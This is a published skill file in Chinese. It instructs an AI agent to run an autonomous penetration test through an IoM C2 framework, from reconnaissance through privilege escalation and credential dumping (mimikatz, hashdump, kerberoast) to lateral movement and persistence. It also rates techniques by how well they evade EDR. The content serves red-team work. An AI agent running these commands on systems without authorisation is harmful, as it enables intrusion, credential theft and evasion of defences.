Iom pentest
通过 IoM C2 MCP 工具进行自主渗透测试。覆盖完整攻击链:态势概览、信息收集、权限提升、 凭据获取、横向移动、持久化。基于 OODA 循环驱动 — 每阶段分析结果后再决定下一步。 触发条件:用户提到 "pentest"、"提权"、"横向"、"信息收集"、"凭据"、"持久化"、 "自动化测试"、"红队"、"后渗透"、"summary"、"态势" 时使用此 skill。From its SKILL.md
npx -y skills add chainreactors/iom-pentest-skills --skill iom-pentestAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 1 stars1 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
SKILL.md
14.9 KB, as published. Nobody here has run it
IoM 自动化渗透测试
通过 IoM MCP 工具进行自主渗透测试。核心是 OODA 循环 — 观察、分析、决策、行动,每个阶段根据实际环境自适应。
参数说明
$ARGUMENTS 支持阶段关键词和 session ID 的任意组合(空格分隔):
阶段关键词
| 关键词 | 阶段 | 是否需要确认 | 说明 |
|---|---|---|---|
summary | 全局态势概览 | 否 | 俯瞰所有 session,不需要指定目标 |
recon | Phase 1: 态势感知 | 否(只读操作) | 对目标 session 详细侦察 |
privesc | Phase 2: 提权 | 是 | 权限提升 |
creds | Phase 3: 凭据收割 | 是 | 凭据获取 |
lateral | Phase 4: 横向移动 | 是 | 横向移动 |
persist | Phase 5: 持久化 | 是 | 建立持久化 |
Session 目标指定
参数中非关键词的值视为 session ID 前缀:
| 用法 | 含义 |
|---|---|
| 不指定 session | 对所有存活 session 操作 |
4d24a3 | 仅对该 session |
4d24a3 bd608a | 对这两个 session |
用法示例
/iom-pentest summary # 全局态势概览
/iom-pentest recon # 所有存活 session 批量侦察
/iom-pentest recon 4d24a3 bd608a # 指定 session 侦察
/iom-pentest recon privesc bd608a # 对指定 session 做侦察 + 提权
/iom-pentest creds 7a0c97 # 对 admin session 收割凭据
/iom-pentest privesc creds lateral # 多阶段组合(所有 session)
/iom-pentest # 默认 = summary
确认机制
关键规则:summary 和 recon 无需确认,其余阶段必须展示计划并获得确认。
summary / recon(无需确认)
直接执行,输出分析报告。
privesc / creds / lateral / persist(需要确认)
执行流程:
- 先完成 recon(如果还没做)
- 分析环境,列出可选的攻击路径和推荐方案
- 展示执行计划,向用户确认
- 用户确认后执行
- 验证结果,报告成功/失败
- 如失败,再次询问是否尝试下一个方案
核心原则
- 每步先看数据再决定下一步 — 不盲目执行,根据环境调整策略
- OPSEC 优先 — 先识别防护,再选择相应规避手法。详见 reference/opsec-guide.md
- 失败即转向 — 某手法被拦截,标记并换路径,不重试同一技术
- 最小动作原则 — 能用 BOF 就不用 execute_assembly,能不落盘就不写文件
- 不擅自行动 — 除 summary/recon 外,所有操作必须用户确认
- OPSEC 评分规则 — 每个技术都有 OPSEC 安全评分(1-10,越高越安全):
- ≥ 8 分: 安全,正常执行
- 6-8 分: 中等风险,在执行计划中标注风险等级
- < 6 分: 高风险,必须单独向用户告警,说明风险原因和更安全的替代方案,经用户明确同意后才能执行
OPSEC 评分参考
| 分数范围 | 风险 | 典型命令 | 处理方式 |
|---|---|---|---|
| 9.0+ | 极低 | enum/recon 类, hashdump, klist | 正常执行 |
| 8.0-8.9 | 低 | BOF UAC bypass, bof-execute_assembly, elevate(Potato) | 正常执行 |
| 7.0-7.9 | 中等 | 内核漏洞(ms14/15/16), mimikatz, wmi/dcom 横向, PowerShell UAC bypass | 标注风险 |
| < 7.0 | 高 | logonpasswords (5.9) | 必须告警 + 等待确认 |
告警示例(OPSEC < 6 分时):
⚠️ 高风险操作警告
命令: logonpasswords
OPSEC 评分: 5.9/10
风险: 直接读取 LSASS 内存,大部分 EDR 会拦截并告警
更安全的替代方案:
1. nanodump --fork --spoof-callstack (OPSEC 9.0) ← 推荐
2. hashdump (OPSEC 9.0) — 仅获取本地 hash,不触碰 LSASS
3. mimikatz (OPSEC 7.0) — 风险中等,但比 logonpasswords 灵活
是否仍要执行 logonpasswords?或选择替代方案?
MCP 工具使用规范
所有操作通过 mcp__iom__execute_command 执行:
- 切换 session:
use <session_id_prefix>— 进入 implant 上下文 - implant 命令: 切换后直接执行
sysinfo,whoami,ps等 - client 命令:
session,listener,pipeline list等不需要 session 上下文 - task 结果: execute_command 会自动等待并返回结果,无需手动 get_history
命令用法详见 MCP 工具的 help 描述。特别注意:
- BOF 类 UAC bypass(elevatedcom/sspi/colordataproxy/registryshell)使用位置参数
- Flag 类 UAC bypass(silentcleanup/editionupgrade)使用
--commandflag- 详见 reference/technique-reference.md
阶段总览
Summary: 全局态势概览 [summary] 自动执行
↓ 了解全局,选择目标
Phase 1: 态势感知 → 身份、权限、环境、防护 [recon] 自动执行
↓ 检查点:我是谁?能做什么?面对什么防护?
Phase 2: 提权 → UAC bypass / Potato / 内核漏洞 [privesc] 需确认
↓ 检查点:拿到高权限了吗?
Phase 3: 凭据收割 → hash / 明文 / ticket / token [creds] 需确认
↓ 检查点:拿到什么凭据?能用在哪?
Phase 4: 横向移动 → psexec / wmi / dcom / ptt [lateral] 需确认
↓ 检查点:新立足点在哪?重复 Phase 1
Phase 5: 持久化 → 注册表 / 服务 / 计划任务 [persist] 需确认
↓ 检查点:重启后还能回来吗?
Summary: 全局态势概览 [summary]
无需确认,无需指定 session。 俯瞰全局态势。
执行命令:
session # 存活 session
session --all # 全部 session(含离线)
listener # listener 状态
pipeline list # pipeline 状态
输出要求(结构化表格):
1. 基础设施状态
列出 listener、pipeline 是否正常运行。
2. 主机列表(按主机分组)
将同一主机的多个 session 归为一组:
| 主机 | IP | 会话数 | 最高权限 | AV | 状态 |
|------|-----|--------|---------|-----|------|
3. 会话明细
| ID | 主机 | 用户 | 权限 | 进程/PID | 心跳 | 状态 |
|----|------|------|------|---------|------|------|
标注:
★= admin/高权限⚠= 心跳超时(可能失联)- 同一主机的冗余低权限 session 标灰
4. 网络拓扑分析
基于 IP 地址分析子网关系、可能的宿主/VM 关系。
5. 建议下一步
基于当前态势给出优先行动建议:
- 哪些 session 需要提权
- 哪些主机值得深入
- 哪些冗余 session 可以忽略
- 推荐的攻击路径
Phase 1: 态势感知 [recon]
无需确认,直接执行。支持批量 session。
单 session 执行
use <session_id>
sysinfo
whoami
privs
shell whoami /groups
ps
enum av
ipconfig
systeminfo
enum software
netstat
批量 session 执行
对每个目标 session 依次执行上述命令,最后输出对比分析报告:
## 批量侦察报告(N sessions)
### 对比矩阵
| 维度 | session1 (host1) | session2 (host2) | ... |
|------|------------------|------------------|-----|
| 权限 | High ★ | Medium | ... |
| Admin 组 | ✅ | ✅ | ... |
| AV | 火绒 | Defender | ... |
| 域 | WORKGROUP | CONTOSO | ... |
| 子网 | 192.168.86.0/24 | 10.0.0.0/24 | ... |
| 补丁级别 | 2020-11 | 2024-03 | ... |
### 各 session 建议
- session1: 已是 admin → 直接 creds
- session2: Medium + Admin 组 → privesc 可行,注意 Defender
- session3: 同主机低权限 → 可忽略(session1 已够用)
检查点
| 维度 | 关键问题 | 决策影响 |
|---|---|---|
| 权限 | Medium 还是 High?有 * 标记吗? | Medium → Phase 2 提权;High → 跳到 Phase 3 |
| 管理员组 | BUILTIN\Administrators 在 groups 里吗? | 在 → UAC bypass 可行;不在 → 需要其他提权路径 |
| 完整性级别 | Mandatory Label 是什么级别? | Medium → UAC bypass;Low → 需要内核漏洞 |
| AV/EDR | 跑了什么安全产品? | 决定执行方式选择,详见 reference/opsec-guide.md |
| 域环境 | WORKGROUP 还是域? | 域 → Phase 4 有更多横向路径 |
| 补丁级别 | 最后安装的 KB 是什么时候的? | 老补丁 → 内核漏洞可用 |
| 网络位置 | 内网段是什么?能看到其他机器吗? | 决定 Phase 4 横向目标 |
recon 完成后:输出完整分析报告和下一步建议。如果用户指定了后续阶段,则基于分析结果展示执行计划并等待确认。
Phase 2: 提权 [privesc]
需要用户确认后执行。仅当目标 session 为非管理员权限时有意义。
如果指定了多个 session,逐个分析并为每个 session 分别展示提权计划。已是 admin 的自动跳过。
完整的技术参考见 reference/technique-reference.md。
展示给用户的决策信息
基于 recon 结果,为每个需要提权的 session 列出:
- 当前权限级别和完整性
- 可用的提权路径(标注推荐、风险、OPSEC 评分)
- AV 对每种方式的影响
- 推荐执行顺序
2.1 UAC Bypass(用户在 Administrators 组 + Medium 完整性)
优先选择(BOF 类,低检测率,OPSEC 8.5):
uac-bypass elevatedcom "C:\path\to\implant.exe"
uac-bypass sspi "C:\path\to\implant.exe"
uac-bypass colordataproxy "C:\path\to\implant.exe"
备选(需要 --command flag,OPSEC 8.0-8.5):
uac-bypass silentcleanup --command "C:\path\to\implant.exe"
uac-bypass editionupgrade --command "C:\path\to\implant.exe"
PowerShell 类(最后手段,OPSEC 8.0,容易被拦截):
uac-bypass eventvwr
uac-bypass wscript
uac-bypass envbypass
implant 路径从 recon 的
sysinfo获取(file 字段)。
2.2 Token/Potato(有 SeImpersonatePrivilege,OPSEC 8.0)
elevate SweetPotato
elevate EfsPotato
elevate JuicyPotato --type t --program "C:\implant.exe" --port 1337
2.3 内核漏洞(补丁级别老旧,OPSEC 7.0)
| OS 版本 | 可用漏洞 |
|---|---|
| Win10 1903/1909 | elevate cve-2020-0796 |
| Win7/8.1/2008R2/2012 | elevate ms15-051, elevate ms14-058 |
| Win7/Vista x86 | elevate ms16-016 |
| 通用(旧补丁) | elevate ms16-032 |
2.4 其他路径
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" AlwaysInstallElevated
getsystem
执行后:session 查看是否有新的 * 标记 session。成功后 use <new_session> 并用 privs 确认。失败则询问用户是否尝试下一方案。
Phase 3: 凭据收割 [creds]
需要用户确认后执行。从最高权限 session 执行。
如果指定了多个 session,优先从 admin session 执行。非 admin session 只能获取 credman/autologon 等不需要特权的凭据。
展示执行计划,列出每个命令的 OPSEC 评分
hashdump # OPSEC 9.0
logonpasswords # OPSEC 5.9 ⚠️
credman # OPSEC 9.0
autologon # OPSEC 9.0
mimikatz privilege::debug sekurlsa::logonpasswords # OPSEC 7.0
如果是域环境:
ldapsearch --query "(&(objectClass=user)(adminCount=1))"
ldapsearch --query "(&(samAccountType=805306368)(servicePrincipalName=*))"
klist
domain kerberoast
检查点:收集到的凭据整理成表格,分析哪些可用于横向移动。
Phase 4: 横向移动 [lateral]
需要用户确认后执行。基于 Phase 3 的凭据和 Phase 1 的网络发现。
4.1 网络发现(自动执行)
pingscan --target <local_subnet>/24
portscan --target <live_hosts> --ports 445,3389,5985,22,80,443
4.2 展示横向移动计划
基于发现的存活主机和可用凭据,列出:
- 目标主机列表
- 每个目标可用的移动方式和 OPSEC 评分
- 使用哪个凭据
- 推荐方案
等待用户确认后执行:
move wmi-proccreate --target <ip> --command "C:\payload.exe" # OPSEC 7.0
move psexec --host <ip> --service MySvc --path /local/file # OPSEC 9.0
move dcom --target <ip> --cmd "C:\payload.exe" # OPSEC 7.5
move krb_ptt --ticket <base64_ticket> # OPSEC 7.0
token make --username admin --password P@ss --domain CONTOSO # OPSEC 9.0
检查点:session 确认新 session,然后对新 session 回到 Phase 1。
Phase 5: 持久化 [persist]
需要用户确认后执行。根据权限级别选择。 详见 reference/technique-reference.md。
如果指定了多个 session,为每个 session 分别展示持久化方案。
展示给用户的持久化方案
列出可选机制、落盘位置、注册表路径、OPSEC 评分等,等待确认。
管理员:
persistence Registry_Key --artifact_name <name> # OPSEC 9.0
persistence Install_Service --artifact_name <name> # OPSEC 9.0
persistence Scheduled_Task --artifact_name <name> # OPSEC 9.0
普通用户:
persistence startup_folder --use_malefic_as_custom_file # OPSEC 9.0
persistence reg_key # OPSEC 9.0
persistence NewLnk --artifact_name <name> --lnkname "Chrome" --filepath "C:\Users\<user>\Desktop"
验证:安装后检查对应的注册表/服务/计划任务确认生效。
输出报告
每次执行完成后,生成结构化报告:
## 渗透测试报告
**日期**: YYYY-MM-DD HH:MM
**范围**: $ARGUMENTS
**执行阶段**: [列出实际执行的阶段]
**目标 session**: [列出操作的 session]
### 攻击路径
初始会话 → [技术] → 提权会话 → [凭据] → 横向会话
### 会话列表
| 会话 | 主机 | 用户 | 权限 | 获取方式 |
|------|------|------|------|---------|
### 获取凭据
| 类型 | 用户 | 域 | 来源 |
|------|------|-----|------|
### 使用技术
| 阶段 | MITRE ID | 技术 | OPSEC | 结果 | 备注 |
|------|----------|------|-------|------|------|
### 防御缺口
[哪些薄弱点使攻击成功]
参考文档
| 需求 | reference 文件 |
|---|---|
| OPSEC 策略与 AV 规避 | reference/opsec-guide.md |
| 提权/横移/持久化技术速查 | reference/technique-reference.md |
$ARGUMENTS